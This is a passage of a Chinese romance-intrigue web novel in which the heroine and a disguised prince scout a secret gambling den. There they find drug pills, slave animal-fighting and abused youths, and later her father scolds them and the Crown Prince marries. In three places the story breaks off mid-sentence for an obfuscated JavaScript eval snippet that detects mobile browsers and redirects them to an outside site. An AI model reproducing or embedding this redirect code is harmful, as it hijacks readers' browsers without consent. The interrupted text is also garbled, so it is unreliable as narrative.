看着紧闭的房门,他陷入了沉思,四名守卫他完全能应付,可若那样做了,便会打草惊蛇,权衡之下,他最终没选择硬碰硬,而是决定伺机而动。 少倾,见一群抬着箱子的人从远处走了过来,他盯着那几个沉重的大木箱子,猜测里面是什么,会不会是逍遥丹呢? 到底打算亲眼看一看,他从怀里掏出一枚药丸大的实心铁珠,看准了时机便曲指将铁珠弹出去,右边抬箱子的人落脚时踩到铁珠,腿不受控制地往前一划。 伴随着“哐当”一声,箱子落了地,盖子也被外力撞开了,只见里面滚出无数枚小黑球。 “干什么吃的,这可是刚从赤州到的新货。”为首的人听见动静转过头去,看见地上残局,他怒骂着踹了那人一脚。 看着滚落一地的黑色药丸,谢烜赫猜想这应该就是逍遥丹了,药丸落地弹跳不止,有一颗滚到他脚边,趁所有人都埋头捡药丸的时候,他将脚边的这一颗捡起,然后揣入怀中,最后悄无声息地离开了。 赤州,路上他默念着刚才偷听到的消息。 回到斗兽场,见新一轮人与兽的搏斗正在上演,这一回他没有坐到观众席,而是趁所有人的注意力都在看台的时候,快速闪身进了右边通道。 这里面应该是关押奴隶的地方,他想去看看。 48. 认出 过道里昏暗一片,空气湿冷,并且弥漫着酸腐味,越往里行气味越发浓烈,循着这股令人作呕的怪味,谢烜赫找到了奴隶的居住地。 只见清一色的男奴们被关押在铁铸的牢笼里,十几个人一间,除了身上辨不出颜色的单薄衣物,里头再无其他的御寒之物,所有人挤作一团,比牢房环境还不如。 有几个胆子大的听见动静抬头朝他看来,脸上流露出害怕恐惧的神色,想来是把他当作来挑选上场斗兽的人了。 他没有开口解释,亦没有上前询问这些奴隶,那样做太过冒险,因为你无法保证他们中会不会有人为了自己而出卖你。 尽管同情这些人,可如今他势单力薄,根本无法救出他们,深深地看了一眼,他最终退了出来。 折回过道,他趁着四下无人,快速换回原先的那身锦袍,然后离开了。 当从右边过道出来时,那一局斗争已经结束,这次是凶兽战胜了人,谢烜赫瞥了一眼被拖走的男孩,他顶多只有十来岁,便葬送在这些权贵的恶趣味之上了。 他有些庆幸这样的结局没被黎书意看见,否则她可能会承受不了。 从死去的男孩身上移开目光,谢烜赫继续朝前走,此时座位上有不少看客起身,他汇入其中,成功离开了斗兽场。 一楼该了解的基本情况已经了解了,他不再耽搁,直接下楼去了。 来到地下一层,他没有回客栈,而是往右边走去。 走过艳俗的画廊,见大堂里灯火辉煌,八音迭奏,锦衣丝履的男子拥着粉雕玉琢的美姬,穿绸裹缎的妇人抱着面容清俊的小倌,更有甚者,手已经不安分地摸进别人衣领,场面淫靡。 继续向里走,到了贵宾房,这间拴铁链,那间上藤鞭……无一例外全是一些凌辱场景。 往更深处走,耳畔传来阵阵凄厉的惨叫,循声来到尽头的屋子,见墙角蹲着几名豆蔻年华的少女,她们身前站着一名老妪,她扬鞭打在那几名少女身上,边打边道:“在这里可没有说不的权利,识相的乖乖听话,若是运气好被贵人看上了,说不定就带你出去了!” 无望的痛喊和鞭子抽打之声激起谢烜赫胸中的怒火,他捏紧拳头,这带给他的冲击并不比斗兽场上的厮杀小,他再一次庆幸没让黎书意看到这些。 前面已经无路,见这个肮脏的地方已经摸清,他毅然转身。 …… 平王步履不稳地从食肆里出来,他今日手气不佳,输了一千两银子,猜大小输,玩牌九输,押注也输,他心情烦躁极了,便打算歇下,一想到房间里等候的小美人,他露出了淫邪的笑容。 晃晃悠悠走至半路,见前面出现一个人,看身形非常熟悉,便不过头脑开口叫道:“烜赫贤侄!” 谢烜赫正走着,骤然听到这四个字,他的身体陡然一僵,立刻顿住脚步,一动不动。 虽带了几分醉意,但这声音却十分耳熟,他很快辨认出背后喊他之人乃是他的二皇叔,他根本没想过会在这里遇见二皇叔,更加没想过他竟然通过背影认出了自己。 谢烜赫强迫自己冷静下来,二皇叔应当是因为喝醉了,看背影有些熟悉,所以便叫出了声,并非是真的认出了他,毕竟他已经“死了”,况且他脸上还带着人皮面具。 想到这些,他恢复镇定,从容转过身,与醉酒的中年男人面对面。 …… 房中烛火摇曳,蜡油已燃烧了大半,黎书意杵着下巴坐在桌边枯等,时间过得越久,她心里的不安便积攒得越多。 她将神经绷紧,仔细聆听外头的动静,走廊上偶尔有行人路过,脚步声接近又走远,每一声都扰乱着她的心。 在某一刻,她忽然听见一道说话声,尽管有点大舌头,但听来十分熟悉,以前宴会上时常会听见,像是平王的声音,想到这,她瞳孔猛地一缩,被自己的猜测吓到。 带着惊讶与探究,她轻手轻脚走到门边,将耳朵缓缓贴在门上,想要听更多。 “你认错人了。” 这时,门外又传来说话声,声音低沉沙哑,非平王之声,然而她亦熟悉,是谢烜赫的,或者该说是时野的。 难道另一道声音当真是平王的?她的心跳开始加快。 虽然不清楚平王为何会出现在这里,但是决不能让他发现谢烜赫的身份,想到这,她当机立断开了门。 因未戴面巾,所以她没敢走出去,将身子掩在门后,她夹着嗓音喊了一句:“夫君,是你回来了吗?” “是我。” 安静了片刻,外头传来谢烜赫的回应,紧接着,是徐徐靠近的脚步声,一抬头见他已经到门口了。 她装作不知外面情况,故意问他:“发生什么事了?” “哦,无事,只不过碰见一个客人,将我认错了。” 过道里,平王见身影熟悉便无意识地喊了一句,等人转过身,并卸下所戴狼面,他看到了一张截然不同的脸,酒瞬间醒了一大半。 现在又听见房内传出娇滴滴的女声,便更清楚是自己酒醉认错人了。 观男子锦衣华服,穿的是丹宵的装束,他抱歉道:“是我认错人了。” “无事。”那人回一句,说完朝他点了一下头,然后进房间去了。 黎书意站在门后,她身体绷得僵直,哪怕是看着谢烜赫进屋了,也丝毫不敢放松下来。 “吱呀”一声,门在眼前合上了,谢烜赫朝她看过来,两人没有说话,只无声地对望着,脸上都有一种劫后余生之感。 静默良久,待确定外面彻底没动静了,他们方才移步至桌边。 在凳子上坐下,黎书意轻叹道:“没想到平王竟然也是这里的客人。” 平王谢嘉懿,先帝次子,是一个不关心朝堂之事,好吟风弄月的闲散王爷,然而现在看来他过于贪图享乐了。 说毕,见谢烜赫沉默不语,才想起来这毕竟是他的皇叔,身为王爷,却以磋磨底层人为乐趣,不是什么见得人的好事。 想到这,她急忙扯开话题,转而问道:“你探查的如何了?” 谢烜赫抬眼望过来,回答道:“逍遥丹似乎是从赤州运来的。” 赤州,真是太好了,这样就知道下一步该从哪里下手了,心里正激动,不想哈欠突然来袭,她忙抬手掩住。 谢烜赫注视着少女,见她双眼泛着水光,面上带着倦色,虽不知具体时辰,但他粗略估计从出府到现在恐怕已经过了一日。 自己是黑白颠倒惯了的,可对一个作息规律的人来说,应该早撑不住了,便道:“时候不早了,先休息吧。” 黎书意早就困了,之前因为担心谢烜赫,所以一直靠意志力强撑着,现下人已经安全回来,她精神顿时松懈,困意就更重了。 她点头,待要起身,却见对面的人身体陡然一僵,坐在位子上纹丝不动了,她感觉奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545707|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要问,发现他神色古怪地盯着自己身后,顺着他的视线她转头望过去,当看到了里间的那张床,她脑子“嗡”的一下炸开,顿时困意一扫而光,也愣住了。 一时间两人都没了动作,屋子里静悄悄的,只剩下彼此的呼吸声。 此刻,那个被搁置的难题又回来了,今晚他们要同室而眠,然而房间里只有一张床。 半晌,谢烜赫转头,恰巧与怔愣的少女视线对上,发现她双眼微张,秋眸中写满无措,两腮飞上红云,像极了受惊的幼兽,他的心脏激起阵阵酥麻。 没敢看太久,他迅速从少女脸上移开目光,装作漫不经心的样子,起身走向不远处的长榻前道:“你睡床,我在榻上将就一晚就好。” 见谢烜赫起身,黎书意终于恢复了反应,她的目光紧随他的身影移动,跟着他坐到了榻上,他身修八尺有余,这榻与他而言有些局限了。 起初,她觉得这样不太好,然而自己还尚未婚嫁,与男子同处一室已是出格,总不能再同睡一张床,最后便就此作罢,默默向里间的床而去。 大约是因为身在敌人的地盘,尽管黎书意很累了,可是她压根无法安然入睡,休息了没两个时辰便醒了。 从床上起来,见谢烜赫还坐在榻上,他两手交叠抱于胸前,头微微低着。 不想打扰到他,黎书意刻意放轻了动作,哪知才刚穿好鞋,对面的人便醒了,她有点不好意思,忙问:“是我吵醒你了?” “我本就睡得不深。”谢烜赫说着站起身来,然后朝门口走去,“我去叫伙计送水来,我们梳洗过后便离开吧。” 黎书意点头,虽然没被发觉,但是一刻没有离开,便一刻不能放松。 不多时,伙计来了,除了热水之外,还送来了早膳,只不过两人并没有享用,简单打理好仪容,他们便退房了。 路上,两人碰到几个同样出门的客人,因担心再撞见平王,这一路黎书意格外关注周围的人,还好并未碰见。 上至一楼,穿过阴冷幽深的巷道,他们来到了一开始来的赌坊大厅,这里似乎和初来时无半分区别,一样的嘈杂。 两人没有做过多停留,径直朝前走去,将喧闹声抛到了身后。 行至前厅,见厅中轿子排列整齐,有人离开,也有人进来。 黎书意神经绷紧,心一直悬着,担忧早被人发觉了,而自己却浑然不知,怕表现得不太像一个到这里来消遣的顾客,所以她刻意让自己开心起来。 为了符合此时的角色,登上空轿时她还特意夸奖了一句:“这个地方真不错,下次来西景我还要来。” 谢烜赫附和道:“都听夫人的。” 负责抬轿的人轻嗤了一声,似乎在嘲笑他们的浅薄无知。 黎书意按规矩系上黑丝绦,在心底说道,下次来的话,她希望能毁了这令人恶心的地方,刚说完,轿帘放下,轿子被抬起来了。 回程的途中依旧安静,不知过了多久,轿子被放下来,外面的人道:“两位客人,已经到了。” 闻言,黎书意扯下黑丝绦。 当帘子拉开的那一刻,她看到了西斜的红日和飘浮着的片片彩霞,这显然是傍晚的景色。 原来不知不觉中他们竟然在忘忧楼待了整一日的光景,她还以为只是一个晚上而已。 “走吧。”谢烜赫催道。 黎书意点头,然后与他离开这座宅院。 49. 责问 到了外面,他们穿街去了旁边的巷子,巷口处停着昨日他们乘坐的那辆马车,马车上纯钧一副车夫打扮。 两人徐徐走近,然后直接登车。 “见过主子和黎二姑娘,里面已经备好了吃食。”纯钧适时开口。 黎书意划开车帘,果见车内小几上摆着两碟点心、一盘香蕉和一壶热茶,看见它们她开始有些饿了,她虚脱地在软榻左侧落座。 “你应该饿了,先吃点吧。”谢烜赫弯腰走进来,一边在她旁边坐下,一边道。 她点头,从碟子里拿起一块点心,感叹道:“我原以为顶多去了一个晚上,结果没成想已经过去一天了。” 谢烜赫也拿了一块点心,然后回她:“赌坊的常用伎俩,让你失去对时间的感知。” 原来如此,黎书意点着头咬下一口酥饼。 吃了两块点心后,她没有再多吃,毕竟这东西甜腻,正抬起杯子准备喝茶,见谢烜赫从侧边暗格里抽出白纸和碳笔放到小案上,她感到好奇,便盯着看。 随着碳笔落下,她看到了弯弯曲曲的线条,心念电转间,她明白这是在画什么,不禁望向旁边的人,惊呼道:“你居然记下了线路!” 将纸笔塞回暗格,谢烜赫转头面对一脸惊讶的黎书意,平静地解释说:“距离没办法估量准确,只是坐在轿子里不似在平地上行走,转弯晃动的幅度较大,身体的感知也就相对强烈,所以留意记了。” 一去一回,足够他将所有转折点记对,剩下的便交由纯钧他们做就行,应该明天就能知道这神秘无比的忘忧楼究竟在何处了。 当马车驶到将军府后门门口时,天色已经彻底黑了,两人从车上下来。 纯钧不做过多的停留,立刻驱赶着马离开了,看着马车往右边驶去,两人终于由后门进宅。 成功冒险归来,此刻黎书意的心情彻底恢复明朗,既有脱离危险的放松,也有获得情报的喜悦。 想到这整一天里他们就吃了一顿饭,便对旁边的人道:“一会我让厨房送份吃食去你那吧。” 虽说回来的路上用过水果和点心,但那点东西对她这个食量一般的人来说尚且不够,更何况是一个正在长身体的少年呢。 “嗯。”谢烜赫接受了。 黎书意笑了。 两人边说边走,走到后院,见谢烜赫忽然顿足不走了,她正要问,顺着他的视线看到了黑暗中站立的三个人。 前面是一脸肃容的父亲,他旁边是一脸担忧的兄长,后面是一脸不知所措的兰亭。 见状,黎书意脸上的笑容顿时凝固住了,糟糕,她居然忘记了还有这一关。 “父亲、兄长……”她弱弱唤道。 父亲没应,虎目在她和谢烜赫脸上刮过,冷冷道:“你们随我去书房!” “哦……”心知被训是躲不过去了,黎书意垂下头乖乖听话。 “哼!”父亲冷哼一声甩袖转身走在前头,兄长跟在他身后,走两步忽转过头来,用手指着她,用动作无声地责怪她。 “二姑娘。”兰亭急忙跟了过来。 瞥了眼父亲的背影,黎书意小声询问道:“父亲是何时知道我不在的?” “今天上午。”兰亭回道。 今早,尚姜院的侍女来通传时,她以二姑娘在书房看书为借口堵了一回,原以为逃过此劫,不想过了半个时辰,大将军和少将军一同来了。 她虽惊慌,但也只能以同样的理由继续堵着,大将军自是不信的,直接越过她推开了房门,见里面空荡荡的,便转头问她,她哪里还敢撒谎,只好如实说了。 沉默了一路,一行人走到尚姜院。 看着先后进书房的大将军、少将军、二姑娘和时野,兰亭心里的担忧如潮水翻涌,虽然大将军一向疼爱二姑娘,不舍得打骂,重话都甚少说过,可二姑娘这次犯了大错,竟然与一个男子消失了一天一夜。 房门在她面前合上,她焦急地在外面踱步。 书房,黎横天看着面前一身丹宵打扮的女儿和谢烜赫,心里头刚消下去的火气顿时又冒起来了,他们怎么敢背着自己就深入忘忧楼,当儿子将从纯钧那里得到的消息告诉他时,天知道他有多担忧。 谢烜赫他没立场谴责,可自己的女儿就不一样了,盯着扮乖的女儿他恨铁不成钢道:“你,你怎么敢去那种地方!” 黎书意素知父亲疼自己,这么些年早了解他的脾性,只要不顶嘴,任由他训斥,再表现得可怜点,不多会气便消了。 “黎世伯,是我的错,我不该带她去的。”不想,她还未开口,谢烜赫先主动替她揽下了责任。 见他如此,黎书意急忙道:“父亲别怪他,是我硬要坚持的,我就是太想看看那个地方了。” “你啊你,你让我说你什么好呢。”父亲指着她,叹了口气,没再指责。 黎书意继续宽慰:“父亲,我这不是已经平安回来了嘛。” 说完,她给自家兄长使了个眼色,要他帮忙劝。 黎长策接收到目光,心里虽有气,到底替小妹开口求情:“父亲就别说小妹了。” 言毕,他转向小妹,口吻严肃地说:“但是——以后你做事至少得提前和我们商量一下,你知道我和父亲得知你们去忘忧楼的心情吗?” 见一向宽大的兄长都动怒至此了,想来自己这次确实过分,为平息两人的怒火,黎书意点头如捣蒜,赶紧承认错误,并保证道:“是婠婠鲁莽了,当时只是想着你们正忙着,留了个消息便擅自行动了,下回一定会先和父兄商量后再做决定。” “知道就好。”此时,黎横天的怒气已经全消了。 责问完了,房间突然安静下来。 过了一会,黎横天把话题拉到正事上,问:“你们可查出什么东西了?” “对。”黎长策附和,“我从纯钧那里得知了忘忧楼是一个无影无踪的地方,他只告诉了我,按照规矩你们进了安德坊的一所老宅,后面的呢?” 后面的呢?黎书意的脑子飞快闪过这一天一夜的经历,然后抬眼望向父兄,回答道:“进老宅后,我们在前厅看见许多架轿子,按照规矩,我们上了一架空轿,并系上了黑丝绦,接着便在不能视物的情况下被带到了忘忧楼,是以,并不知道这楼到底在何处。” 连入楼都如此谨慎,里面恐怕不简单,想到这,黎长策追问:“楼里的情况如何?” 黎书意道:“一进去便是赌坊,比朋兴赌坊要豪华许多,玩法稀奇古怪,下注非常大。” “还有呢?” “赌坊后面是斗兽场,人与兽同台厮杀,观者下注取乐,只有其中一方死了才算结束。” 赌坊,斗兽场,黎横天在脑中将女儿的话具象化,他实在无法想象这些竟与当朝丞相牵扯在一起,不确信地问:“这当真是梁甫的产业?” 见父亲表情凝重,黎书意便知他还持怀疑态度,尽管两人是政敌,他也不肯相信当朝宰相会做这样的事。 就目前的情况而言,确实没办法证明那就是梁甫的产业,黎书意便只将知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545708|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的说出来:“这是我从阮玎瑶那里听来的,她说梁祖昂曾向她吹嘘过忘忧楼是梁家的产业。” 父亲闻言沉吟着,过了一会又问:“还有呢?” 接下来的便是谢烜赫单人探查的了,虽然他昨晚同她说了些,但因为意外撞见平王的缘故,说得十分简略,她看向他,渴望听到更多细节。 黎横天和黎长策见状,两人也齐看向谢烜赫。 谢烜赫望了一眼三人,然后将自己夜探的情况娓娓道来:“我观察到赌坊的客人很亢奋,不时有奴仆往牌桌、雅间送那种药丸,于是我便从奴仆身上入手。 “在后堂,我发现了一间把手严密的屋子,正巧碰见一群搬货的,便偷偷制造混乱,探查到他们运的正是逍遥丹,那个头目说货是从赤州运来的,这是我趁不注意是捡到的一颗。”说着,他从怀里掏出一颗丹药。 药丸如小指甲盖大小,呈褐色,黎书意看着他手里的药丸,确实与赌博期间她看到的那些客人服用的一样。 待三人看过以后,谢烜赫将药丸收好,继续往下说:“接着,我又去了斗兽场的后堂,在那里我发现了上百名奴隶,他们都是不到二十岁的年轻男孩,全部被关在大铁笼里。” 一提到奴隶,黎书意脑海里便闪现出那小男孩与恶狼搏斗的场面,听了谢烜赫的话,她控制不住地往深处想,想那些奴隶的悲惨生活。平复了一下心情,她问:“那戏院呢?” 谢烜赫闻言惊讶地朝她看来。 黎书意笑了,她又不是什么懵懂无知的小女孩,赌坊历来与秦楼楚馆相连,毕竟若论上不了台面的消遣,除了赌博,便是寻花问柳了。 像忘忧楼这样的奢靡享乐之地,里面的戏院她可不信那只是听曲看舞的雅地,青楼本就是各种磋磨女子的地方。 谢烜赫原以为自己说前面两点就已经足够了,是以这一点他本想隐去的,未曾想黎书意竟直接指出来。 沉默片刻,他到底做了简单的说明:“里面的男女年龄偏小,客人的手段十分残暴。” 赌场,逍遥丹,斗兽场,青楼……黎长策听得怔愣,良久,他感叹道:“我竟从来不知孟章有这样的地方。” 所有人都沉默了。 他们都是正派人,若非调查,恐怕永远不会接触到。 要不是黎书意亲眼所见,她也很难相信,关键观里面客人的穿着打扮和言行举止,他们明显都是达官贵人。为了不横生枝节,她没有提遇见了平王的事。 “行了。”半晌,黎横天从太师椅上起来,看着女儿与谢烜赫道,“出去了一天一夜,你们俩应该也累了,早些去休息吧。” 见父亲放人,黎书意心中窃喜,忙道:“那父亲兄长,婠婠这就告退了。” 说毕,她与谢烜赫一同从书房出来,站在廊下时她忍不住吐了一口气,庆幸这责问比她预想的要轻松些。 自二姑娘进屋以后,兰亭就一直在踱步,并不时向门口望一眼,生怕二姑娘被狠狠斥责,然而她并没听见怒斥,甚至连说话的声音都听不见,因此根本无法推测里面的情况。 此刻,见二姑娘出来了,她急忙迎上前道:“二姑娘,大将军责骂您了吗?” 看着一脸着急的小丫头,黎书意对她笑笑,安抚道:“没事啦。” “没事就好。”兰亭舒了一口气。 然后,三人一道往外走。出了尚姜院,路上黎书意交代道:“兰亭,你吩咐厨房准备点菜,一份送去我那,一份送去时野那。” “好。”兰亭应下。 50. 喜帖 从忘忧楼回来的第二日,黎书意继续写《陈冤录》。 这一回她没有特别费劲思考如何将事实与故事融合在一起,而是打算直接将那一天一夜所看到的书写在纸面上,毕竟眼下已经接触到核心人物了,有些东西也是时候该揭露了。 如果说之前的情节是六分真实四分杜撰,那么接下来的情节便是七分真实三分杜撰了。 按照她的预设,她原打算探查出幕后凶手,再在故事中添加以其为原型的新人物,现下却是不用了,因为故事中害姚写意一家被抄的奸相严会之就是以梁甫为原型的。 没想到她竟然歪打正着,如今主角们目标统一,他们可以联合调查,携手扳倒共同的敌人了。 首先,涉及阮玎瑶的部分被她给抹除了,她不能让这个冒了极大风险帮助她的人受到一丝一毫的伤害。 其次,为了不在翻案前让梁甫给察觉了,关于忘忧楼她做了点小改动,改忘忧楼为尽欢楼,改逍遥丹为乐天丹,经营范围保持不变,地点和入楼方式变了。大致的故事最后是这样子的: 归平酒楼推出的新菜品深受城中食客的青睐,酒楼生意从开始的门可罗雀到络绎不绝。 一天,丞相之子严天赐慕名前来光顾,用餐途中他突然发病,姚写意见他病症奇怪,留了心思。 之后的半月,她通过与严天赐相熟的纨绔嘴里套取情报,得知他在吃一种名叫乐天丹的药丸,姚写意便将这件事情告知自己的父兄。 另一边,辛君赫时刻关注着大牢里的动静,在张弘利留下忏悔书咬舌自尽后的第二天,背后之人终于行动了,下令明日处斩张氏一族的当夜,张弘利的妻女便被受贿狱丞给替换出来了。 辛君赫通过对狱丞,以及张弘利妻女改头换面后的行迹展开调查,终于将幕后之人锁定在丞相严会之身上,他立马将这个结果告诉了姚荐辕和姚远卓。 当姚写意把严天赐的异状告诉姚荐辕和姚远卓以后,两人觉得可以以此为突破口对付严会之,于是便将这事告知给辛君赫。 接下来,辛君赫开始顺着这条线索调查,通过追踪严天赐的踪迹和交往人物,最后查到了尽欢楼上,且知道那楼与严家有着莫大的联系,他觉得该亲自深入探查一番。 姚写意得知父亲派辛君赫前去探楼,她背着父兄请求他带她一起去,辛君赫拒绝不了,最终便带她前往,两人在尽欢楼体验了赌博和斗兽,辛君赫也通常独自暗探,得到尽欢楼是严家的产业,那乐天丹来自于炎州的消息。 因为大部分内容来自于真实的经历,所以黎书意写得极为顺手,很多时候甚至是下笔速度跟不上脑袋的速度,她夜以继日地写,每天也只有早午晚膳时抽空休息。 这日,她照例在案头奋笔疾书。写到一半,兰亭走进来道:“二姑娘,该用晚膳了,大将军和少将军已经在候着了。” 闻言,她抬起头来,见窗外夕阳欲坠,金光黯淡,未免让父兄久等,她将狼毫搁到笔搁上,净了手便往正院膳厅去了。 走至门口,见父兄正在议论,兄长手里拿着一份帖子,皱着眉轻声叹息道:“竟然这么快……” “什么这么快?”她抬脚跨进门槛,好奇地问。 “没什么。”兄长见了她面色变得古怪,眼神有些躲闪,还急忙把手里的帖子往身后藏。 本来只是随口一问,未曾想兄长的反应竟这么大,黎书意眉头一皱心下起疑,她走到桌边,将手一伸道:“我都看到了,拿出来吧。” 看着伸到面前的手,黎长策有些为难,可观小妹这不给便不罢休的架势,他无奈只好拿出来。 瞥了一眼那精美的红色外壳,再联想他们刚才遮遮掩掩的行为,黎书意瞬间便猜到这是什么了,不久前唐婉娇曾向她提过,说太子殿下就要成婚了。 她没有再接,目光从帖子上移开,转而在空位子上坐下,一面转向父亲道:“父亲不必考虑我,你去吧。” 黎横天此刻的纠结不亚于打战前决定采取哪种策略行动,不去,这可是太子大婚,百官皆得参加,他是当朝大将军,缺席定然落人口舌。 去,自己的女儿被辜负了,他不仅不能讨回公道,居然还要为新人祝贺。 为官二十几载以来,他一直兢兢业业,明明是谢煜然主动招惹他的女儿,如今却又为利益将她抛弃了,他为何不能不满,总归不能白让女儿受委屈,思及此,便道:“哼,他欺负了我女儿,咱不去。” “是,只是缺席一场宴席而已。”黎长策在旁附和。 黎书意扫了一眼父兄,见两人并非哄自己开心,而是真的打算不参宴,她忙制止道:“不,你们得去!” 两人诧异地望着她。 在他们的注视下,她义正言辞劝道:“将军府现在处境本就不妙,你们不必为了我再让皇室不快。” “可是——”黎横天眉头紧锁,仍犹豫不决。 见父亲还在犹豫,黎书意面对他,认真地说:“父亲,你放心,不过一个男人而已,我早就放下了。” 黎横天关切地凝望着女儿,见她眼神坦诚,面色沉静,似乎对谢煜然是真没心思了,沉默良久,终于妥协了:“行吧。” 看无事了,黎书意笑笑,她拿起碗筷笑道:“那吃饭吧。” “多吃点,你最近整天待在书房。”黎横天说着往女儿碗里放了一块牛肉。 黎书意欣然接受父亲的关心。 …… 东街街角巷子口,有一家名为毕氏印刷铺的店面,店门三开,两丈见宽,掌柜是个年过四十的男子,名叫毕兴义。而实际上,这里是祈安阁在孟章的暗卫据点,由纯钧运营。 谢烜赫踏入店中,穿过摆放着书籍样本的前厅,径直走向后院,最终进入最深处的那间房。 一进房,纯钧立刻上前躬身行礼,“见过主子。” “调查得如何了?” 纯钧道:“根据主子所画的路线图,卑职命令下属做了一番排查,最后发现忘忧楼在南郊的一片荒山里,名叫南箕山。” 南箕山?谢烜赫眉毛一挑,有些意外竟然是这么一个地方,不过细细想来又觉得合理,那地方人迹罕至,确实是一个不容易被察觉的好地方。 “赤州呢?可有探查到与逍遥丹有关的线索?” “经过调查,发现奴隶来自各地的都有,他们多是流民和孤儿,主要流向三个地方,除了孟章以外,便是赤州的南塔和客郡二郡。” “继续往下查。”谢烜赫吩咐道,“另外,派几个年纪尚轻身手不错的,想办法混入到各地的奴隶之中。” “是,卑职明白。” 谢烜赫目光深沉地望着窗外,无论梁甫藏匿得再深,他都会让他无所遁形。 要事已说完,他从后堂出来,亦如每次来这里一样,他总会挑上一两本印本,然后再去集市买些别的。 买完东西,他打算回去,午后的集市很热闹,大街上人潮如织,喧哗声此起彼伏,走到某个地方,发现那里围了一圈人,他没太关心。 正打算继续往前走,有两个人从他身前穿过,只见一中年妇女手里捏着一块喜饼,口内称赞道:“太子殿下真仁善。” “太子殿下”四个字让谢烜赫停下脚步,他转头看着那临时搭建起的棚子,还有攒动的人群,终于想起来今日是谢煜然大婚的日子。 又有几个人领了喜饼,心满意足地离开,与他擦肩而过时,他们的闲语飘落耳中。 “不过,我记得太子殿下不是与黎大将军之女情投意合吗,为何太子妃突然又变成了庞将军之女了?” “这我也不知……” 站在远处静看了一会,谢烜赫最终转身离开了,他走到树边解开绳索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545709|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后踏上马背,回将军府了。 一入府中,他便揣着书本和在怡口香买的点心,径直往载驰院而去。 到庭中,看见黎书意正坐在亭子里发呆,她目光悠远地看着寥落的树叶,脸上有淡淡的忧伤,似乎在伤怀。 想到刚才在路上听的那些闲话,他立刻就懂她为何如此了,像有一团棉布堵在胸口,尽管心里闷闷的,他还是迈步继续朝亭子走去。 兰亭理了理被风吹乱的鬓发,无奈地看着凭栏而坐的二姑娘,自从送大将军和少将军离府去参宴后,二姑娘便坐在这里发呆了。 昔日的情郎今日就要成婚了,新娘子却不是自己,遭遇这种事她的心情岂会好受,兰亭想劝,却又不知该如何劝,生怕一不小心反而徒惹伤心,但是这样也不是办法。 想了想,她只能说些别的,便张口道:“二姑娘,今日晚膳厨房准备了辣羹蟹。” “哦,是吗?” 蔫蔫的反应令兰亭皱眉。 黄叶在眼前纷飞,飒飒秋声过耳,黎书意静静看着飘落的树叶。 日以继夜许久,她身体难免疲乏,原只打算小坐一会的,然而坐下来便不想动了,本就没精打采的,又见院里红衰翠减,不由伤春悲秋起来。 今日,所有人对她都小心翼翼的,她岂会不知道是何意,想着想着,心绪越发不振了。 “二姑娘。” 就在这时,听见有人唤她,她闻声转头,看了一眼走入亭内的谢烜赫,心知他是去与手下通情报了,考虑到兰亭还在这,她便不打算问了。 谢烜赫有些吃味,往常自己回来她总是一脸迫不及待的,今日却像庭中的枯木,毫无生气。 忍耐良久,终是忍不住开口问道:“二姑娘是在难过吗?” “嘶——”兰亭闻言倒吸一口凉气,将军府谁不知道二姑娘与太子殿下从前是一对,今日整个府里上到将军和少将军,下到小厮与侍女,没有人敢提这个,偏生这缺心眼的还如此直白地问了出来。 “放肆,二姑娘的私事也是你能够随便问的。”责怪地剜了一眼这不知好歹的黄毛小子,她担忧地朝二姑娘看去。 难过吗?黎书意问自己,好像也谈不上,就是有些感慨罢了,毕竟两年多的感情,又逢今天这种日子,她再豁达也还是难免回忆从前。 她看向谢烜赫,尽管有面具作遮挡,可是透过他淡漠的眼神和微抿的嘴唇,还是能读出他在生气,是觉得她这样做不值得? 不知怎么的,她突然就想起来之前那些宴上他也总用类似的眼神看自己,一时起了应激反应,不由反问道:“怎么,我不可以难过吗?” 所以,她果真是因为谢煜然在难过。 呼入的空气顿时变成了酸醋,谢烜赫喉头轻轻滑动,艰涩道:“他辜负了你,并不值得。” 不值得……当然不值得,否则她就不会如此坚定地选择放手了,只是,她抬头看一眼面前这个从不和女孩亲近的冰山,有些不满他的说教,便道:“你喜欢过人吗?” 他有,他当然有喜欢的人,谢烜赫凝视着仰面望她少女。 这时,又听见她说:“感情是没法控制的。” 是啊,若是感情可以控制的话,他就不会如此煎熬了,于是他不再开口了。 见谢烜赫无言,黎书意以为自己扳回一局。 无欲在这上面纠缠,她垂眸看着他并不空闲的手,她早就扫见了他手里提着的纸袋,知道他对点心感觉一般,这东西估摸着和那几本书一样,都是伪装出门购物所买的,便伸出手道:“那是带给我的吗?” “不是。”哪知头顶传来一声干脆的否认,说完人就转身走了。 看着自己空空的手,黎书意愣了,她惹到他了吗? “二姑娘,你看他。”兰亭指着那走远了的背影,忿忿然指责道。 51. 